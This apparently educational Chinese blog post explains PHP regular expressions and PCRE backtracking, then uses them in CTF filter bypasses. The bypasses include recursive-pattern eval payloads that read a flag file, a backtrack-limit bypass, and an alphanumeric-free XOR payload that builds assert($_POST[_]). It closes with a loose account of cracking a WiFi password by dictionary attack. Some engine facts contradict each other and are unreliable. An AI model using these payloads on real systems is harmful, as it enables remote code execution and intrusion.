preg_match
正则表达式:
正则表达式(regular expression)描述了一种字符串匹配的模式(pattern),可以用来检查一个串是否含有某种子串、
将匹配的子串替换或者从某个串中取出符合某个条件的子串等。包括普通字符(例如,a 到 z 之间的字母)和特殊字符(称为"元字符")。
SRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。另外正则引擎主要可以分为基本不同的两大类:一种是DFA(确定性有穷自动机),另一种是NFA(非确定性有穷自动机)。
在NFA中由于表达式主导的串行匹配方式,所以用到了回溯(backtracking),这个是NFA最重要的部分,每一次某个分支的匹配失败都会导-致一次回溯。
DFA没有回溯,因此看起来在某些情况下会比NFA来得更快,但是在真正使用中,DFA需要进行预编译才能获得更好效果,
因为DFA的匹配方式需要更多的内存和时间,在第一次遇到正则表达式时需要比NFA详细得多的方法来分析这个表达式,
不过可以预先把对不同正则表达式的分析结果建好,DFA就可以获得比NFA更优的速度。
虽然NFA速度更慢,并且实现复杂,但是它又有着比DFA强大的多的功能,比如支持环视,支持反向引用(虽然这个是非正则的)等,
因此大多数程序语言都使用了NFA作为正则引擎,其中也包括PHP使用的PCRE库
0x02 扩展表示法
扩展表示是以问号开始(?…),通常用于在判断匹配之前提供标记,实现一个前视(或者后视)匹配,或者条件检查。
尽管圆括号使用这些符号,但是只有(?P<name>)表述一个分组匹配。</name>
正则表达式 | 匹配字符串 -----------| --------- (?:\w+\.)* | 以句点作为结尾的字符串,例如“google.”、“twitter.”、“facebook.”,但是这些匹配不会保存下来供后续的使用和数据检索 (?=.com) | 如果一个字符串后面跟着“.com”才做匹配操作,并不使用任何目标字符串 (?!.net) |如果一个字符串后面不是跟着“.net”才做匹配操作 (?<=800-) |如果字符串之前为“800-”才做匹配,假定为电话号码,同样,并不使用任何输入字符串 (?<!192\.168\.) |如果一个字符串之前不是“192.168.”才做匹配操作,假定用于过滤掉一组 C 类 IP 地址 (?(1)y\|x) |如果一个匹配组 1(\1)存在,就与 y 匹配;否则,就与 x 匹配 \(((?>[^()]+)\|(?R))* \) | 进行循环匹配
循环匹配探索
在上述的扩展表达式中有一个循环模式, 特殊项(?R)提供了递归的这种特殊用法,在PRCE模式中,考虑匹配圆括号内字符串的问题,
允许无限嵌套括号。如果不使用递归, 最好的方式是使用一个模式匹配固定深度的嵌套。
这个PCRE模式解决了圆括号问题(假设 PCRE_EXTENDED 选项被设置了, 因此空白字符被忽略):
\( ( (?>[^()]+) | (?R) )* \)。
input
<?php var_dump(preg_match('/\((?R)*\)/','((((()))')); var_dump(preg_replace('/\((?R)*\)/',NULL,'((()))')); var_dump(preg_replace('/\((?R)*\)/',NULL,'((()))abc')); ?>
OUT:
int(1)
string(0) ""
string(3) "abc"
从以上的输出结果,可以明显的发现,'/\((?R)*\)/'
这个正则表达式,进行自身循环匹配。
昨天做了一道ctf中就利用了表达式循环的特点。
<?php if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']); } else { show_source(__FILE__); }
对于那个关系式的逻辑关系也不复杂,从code参数中,匹配匹配字母、数字、下划线,其实就是'\w+',然后在匹配一个循环的'()',将匹配的替换为NULL,判断剩下的是否只有';'。
因此可以利用循环探测到文件读取flag.txt
=>获得路径为/var/html ?code = print_r(getcwd()); =>查看路径下内容没有可用的 ?code = print_r(scandir(getcwd())) =>探测上一级为Array ( [0] => . [1] => .. [2] => flag_phpbyp4ss [3] => html ) ?code = print_r(scandir(dirname(getcwd()))) =>发现flag文件,进行读取 ?code = readfile(next(array_reverse(scandir(dirname(getcwd()))))) =>发现报错,不存在flag_phpbyp4ss文件,更改工作目录 ?code = readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))))
在进行文本探测的时候,系统会进行逐层查找,例如查找var\html\www\phpstudy\hsy,py 系统会从var\html层开始查找www文件夹,再从www层向下查找,不可以直接跳过根目录查找子目录。
php回溯机制
前面我们已经说到了PHP使用PCRE库,那么正则引擎就是DFA(确定性有穷自动机),使用回溯的方式进行匹配,
大致过程就是在对一个字符串进行匹配时,如果匹配失败die掉一个字符,然后再进行匹配,如果依然失败,重复上面操作.....
<?php preg_match('/<\?.*[(`;?>].*/','<?php phpinfo();//abc');
回溯过程
<\?.* => <?php phpinfo();//abc <\?.*[(`;?>] => <?php phpinfo();//ab <\?.*[(`;?>] => <?php phpinfo();//a <\?.*[(`;?>] => <?php phpinfo();// <\?.*[(`;?>] => <?php phpinfo();/ <\?.*[(`;?>] => <?php phpinfo(); <\?.*[(`;?>] => <?php phpinfo() <\?.*[(`;?>] => <?php phpinfo(); <\?.*[(`;?>].* => <?php phpinfo();//abc
使用php的pcre.backtrack_limit限制绕过
上面那个匹配中不可能一直回溯,那这样就会消耗服务器资源,就形成了正则表达式的DDOS,因此php就有了限制回溯的机制
<?php var_dump(ini_get('pcre.backtrack_limit')); var_dump(preg_match('/<\?.[(`;?>]./is', '<?php phpinfo();
//'.str_repeat('c', 999995)));
output:
string(7) "1000000" bool(false)
使用无字母数字方式绕过
之前看一些大牛的wp时讲过这样一个方式,先贴出代码。
<?php if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) { eval($_GET['shell']); }
命令执行一段shell但是不允许使用数字和字母。
方法:^ ||表达式
<?php $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert'; $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST'; $___=$$__; $_($___[_]); // assert($_POST[_]);
这段代码将post的数据用^表达式构造。
<?php $payload = array('a','s','s','e','r','t','P','O','S','T'); foreach ($payload as $p){ if($p=='P'||$p=='S'||$p=='T'){ echo urlencode($p^']'); continue; } echo urlencode($p^'`'); }
输出后
%01%13%13%05%12%14%0D%2F%0E%09
这样assert(POST['a])这样的执行语句就可以绕过正则表达式的限制。
彩蛋。。。。
今天在用kail Linux连接WiFi的时候发现系统中有这样一个特点,kail在虚拟机运行的时候,访问WiFi是通过内网进行访问,通过aircrack程序监听周围热点。连接WiFi的原理是生成一段公共密钥,进而匹配WiFi的PIN码,那么我想尝试一下我能不能自己去生成一段公共密钥然后匹配响应的PIN码,从而破解WiFi的密码。并且拿到WiFi的最高权限。当然我们都知道如果拿到的WiFi的shell,但凡连接此WiFi的所有设备都会被你控制,例如一台iPhone接入此WiFi,那么这台iPhone上储存的所有信息都会被你看到。(当然这只是设想,不会所有的东西都能被掌握,iPhone的安全性还是很高的。。。)有了这样的设想,就去初步尝试一下。
步骤:
1.把内置网卡设置为监听模式。
2.扫描周围的WiFi。
3.监听指定WiFi。
4.发起攻击,模拟WiFi路由生成密钥,向XX用户发出请求。
5.向XX用户发送恶意包。(数据包中包含公共密钥)
6,对方接受后,获得WIFI密码。
开始尝试一下。
1.接入无线网卡
2.建立监听热点
3.屏蔽其他干扰无线网卡监听热点的信号。
4.将自己的网卡激活。
5.监听热点
6.选取WiFi发送TCP请求进行攻击。
这里的爆破一般采用穷举密码,一开始我想直接在数据包中找到密码,后来发现那个密码是经过hash加密的。hash加密只可单项加密,因此无法破解。
7.载入我们事先准备好的字典序,开始爆破。
8.成功拿到密码。
当我拿到密码,并且成功接入WiFi,但是当我接入WiFi的时候我发现我还控制不了最高权限,所以我还是入侵不到接入此WiFi的其他设备。但是这样的设想是绝对可以达到的。
